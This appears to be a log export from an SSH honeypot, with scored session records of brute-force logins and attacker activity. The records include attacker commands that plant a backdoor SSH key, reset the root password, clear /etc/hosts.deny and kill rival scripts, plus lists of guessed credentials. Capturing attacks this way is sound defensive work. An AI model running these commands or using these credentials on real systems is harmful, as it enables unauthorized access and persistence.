[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l

[obs-node]:~$ echo "root:N55R5N0XS700"|chpasswd|bash

[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

[obs-node]:~$ ls -lh $(which ls)

[obs-node]:~$ which ls

[obs-node]:~$ crontab -l

[obs-node]:~$ w

[obs-node]:~$ uname -m

[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l

[obs-node]:~$ top

[obs-node]:~$ uname

[obs-node]:~$ uname -a

[obs-node]:~$ whoami

[obs-node]:~$ lscpu | grep Model

[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Record ID: 8e77c4ae5bed

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1m 1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8e77c4ae5bed",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:20:57.570065Z",
  "end_time": "2026-09-30T00:21:58.189521Z",
  "duration": "60.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "support2024"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:N55R5N0XS700\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:N55R5N0XS700\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 350,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

121.225.55.137

2026-09-30 00:19:19.195929 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 07cd0341552c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "07cd0341552c",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:19:19.195929Z",
  "end_time": "2026-09-30T00:21:19.205099Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:17:46.293980 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: monkey

Record ID: 4a3363dd514c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4a3363dd514c",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:17:46.293980Z",
  "end_time": "2026-09-30T00:17:50.312817Z",
  "duration": "4.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "monkey",
      "pass": "monkey123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

176.53.159.196

2026-09-30 00:11:40.793994 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 4320ba369c5e

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "4320ba369c5e",
  "src_ip": "176.53.159.196",
  "start_time": "2026-09-30T00:11:40.793994Z",
  "end_time": "2026-09-30T00:11:42.019106Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

121.225.55.137

2026-09-30 00:09:48.901085 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: coba

Record ID: 18bc6b876ad9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "18bc6b876ad9",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:09:48.901085Z",
  "end_time": "2026-09-30T00:09:53.255961Z",
  "duration": "4.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "coba",
      "pass": "coba"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

129.121.123.80

2026-09-30 00:04:56.133339 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: remoto

Record ID: 120198cb851c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "120198cb851c",
  "src_ip": "129.121.123.80",
  "start_time": "2026-09-30T00:04:56.133339Z",
  "end_time": "2026-09-30T00:04:57.546308Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "remoto",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

129.121.123.80

2026-09-30 00:03:41.824508 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 92d4d2273898

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "92d4d2273898",
  "src_ip": "129.121.123.80",
  "start_time": "2026-09-30T00:03:41.824508Z",
  "end_time": "2026-09-30T00:03:42.246307Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

129.121.123.80

2026-09-30 00:03:40.350741 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 7a5cc8447d11

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "7a5cc8447d11",
  "src_ip": "129.121.123.80",
  "start_time": "2026-09-30T00:03:40.350741Z",
  "end_time": "2026-09-30T00:03:41.762297Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

129.121.123.80

2026-09-30 00:03:39.435788 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / QWer1234

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 288537156894

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "288537156894",
  "src_ip": "129.121.123.80",
  "start_time": "2026-09-30T00:03:39.435788Z",
  "end_time": "2026-09-30T00:03:42.242440Z",
  "duration": "2.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "QWer1234"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

129.121.123.80

2026-09-30 00:02:22.100912 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rootuser

Record ID: 6cf1e91f7af9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6cf1e91f7af9",
  "src_ip": "129.121.123.80",
  "start_time": "2026-09-30T00:02:22.100912Z",
  "end_time": "2026-09-30T00:02:23.524647Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "rootuser",
      "pass": "rootuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

20.121.140.118

2026-09-30 00:02:13.214216 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1699737f8df6

Client Version: MGLNDD_184.98.6.225_22

Engagement Duration: 0.1s

{
  "id": "1699737f8df6",
  "src_ip": "20.121.140.118",
  "start_time": "2026-09-30T00:02:13.214216Z",
  "end_time": "2026-09-30T00:02:13.324997Z",
  "duration": "0.1",
  "version": "MGLNDD_184.98.6.225_22",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

20.121.140.118

2026-09-30 00:02:12.707860 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9a8fd67a1e3b

Client Version: SSH-2.0-Go

Engagement Duration: 0.3s

HASSH Fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd

{
  "id": "9a8fd67a1e3b",
  "src_ip": "20.121.140.118",
  "start_time": "2026-09-30T00:02:12.707860Z",
  "end_time": "2026-09-30T00:02:13.050421Z",
  "duration": "0.3",
  "version": "SSH-2.0-Go",
  "hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

129.121.123.80

2026-09-30 00:01:08.666499 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sanjay

Record ID: 93d57ee3831a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "93d57ee3831a",
  "src_ip": "129.121.123.80",
  "start_time": "2026-09-30T00:01:08.666499Z",
  "end_time": "2026-09-30T00:01:10.084439Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "sanjay",
      "pass": "sanjay123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

129.121.123.80

2026-09-29 23:59:56.811587 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: ecea8b4bc03d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ecea8b4bc03d",
  "src_ip": "129.121.123.80",
  "start_time": "2026-09-29T23:59:56.811587Z",
  "end_time": "2026-09-29T23:59:57.225647Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

129.121.123.80

2026-09-29 23:59:55.340116 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 2e58ab47f3da

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "2e58ab47f3da",
  "src_ip": "129.121.123.80",
  "start_time": "2026-09-29T23:59:55.340116Z",
  "end_time": "2026-09-29T23:59:56.753153Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

129.121.123.80

2026-09-29 23:59:54.429001 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Admin1234@

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: d83436a0d235

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d83436a0d235",
  "src_ip": "129.121.123.80",
  "start_time": "2026-09-29T23:59:54.429001Z",
  "end_time": "2026-09-29T23:59:57.222708Z",
  "duration": "2.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Admin1234@"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

129.121.123.80

2026-09-29 23:58:39.376019 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 9832ce710299

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9832ce710299",
  "src_ip": "129.121.123.80",
  "start_time": "2026-09-29T23:58:39.376019Z",
  "end_time": "2026-09-29T23:58:39.791991Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}